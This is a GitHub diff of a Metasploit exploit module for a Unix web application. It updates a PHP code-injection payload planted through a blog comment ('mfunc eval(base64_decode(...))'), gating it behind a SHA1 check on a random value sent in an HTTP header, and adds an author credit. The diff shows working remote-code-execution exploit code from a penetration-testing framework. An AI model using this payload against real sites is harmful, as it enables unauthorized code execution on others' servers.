File tree Expand file tree Collapse file tree 1 file changed +8
-3
lines changed
modules/exploits/unix/webapp Expand file tree Collapse file tree 1 file changed +8
-3
lines changed Original file line number Diff line number Diff line change @@ -27,7 +27,8 @@ def initialize(info = {})
27
27
'Author' =>
28
28
[
29
29
'Unknown' , # Vulnerability discovery
30
- 'juan vazquez' # Metasploit module
30
+ 'juan vazquez' , # Metasploit module
31
+ 'Christian Mehlmauer' # Metasploit module
31
32
] ,
32
33
'License' => MSF_LICENSE ,
33
34
'References' =>
@@ -102,7 +103,7 @@ def login
102
103
end
103
104
104
105
def post_comment
105
- php_payload = "<!--mfunc eval(base64_decode($_SERVER[HTTP_CMD])); --><!--/mfunc-->"
106
+ php_payload = "<!--mfunc if (sha1($_SERVER[HTTP_SUM]) == ' #{ @sum } ' ) { eval(base64_decode($_SERVER[HTTP_CMD])); } --><!--/mfunc-->"
106
107
107
108
vars_post = {
108
109
'comment' => php_payload ,
@@ -148,6 +149,9 @@ def exploit
148
149
print_status ( "#{ peer } - Trying unauthenticated exploitation..." )
149
150
end
150
151
152
+ random_test = rand_text_alpha ( 4096 )
153
+ @sum = Rex ::Text . sha1 ( random_test )
154
+
151
155
print_status ( "#{ peer } - Injecting the PHP Code throw a comment..." )
152
156
post_uri = post_comment
153
157
if post_uri . nil?
@@ -159,7 +163,8 @@ def exploit
159
163
'method' => 'GET' ,
160
164
'uri' => post_uri ,
161
165
'headers' => {
162
- 'Cmd' => Rex ::Text . encode_base64 ( payload . encoded )
166
+ 'Cmd' => Rex ::Text . encode_base64 ( payload . encoded ) ,
167
+ 'Sum' => random_test
163
168
}
164
169
}
165
170
options . merge! ( { 'cookie' => "#{ @cookie_name } =#{ @cookie_value } " } ) if @auth
You can’t perform that action at this time.
0 commit comments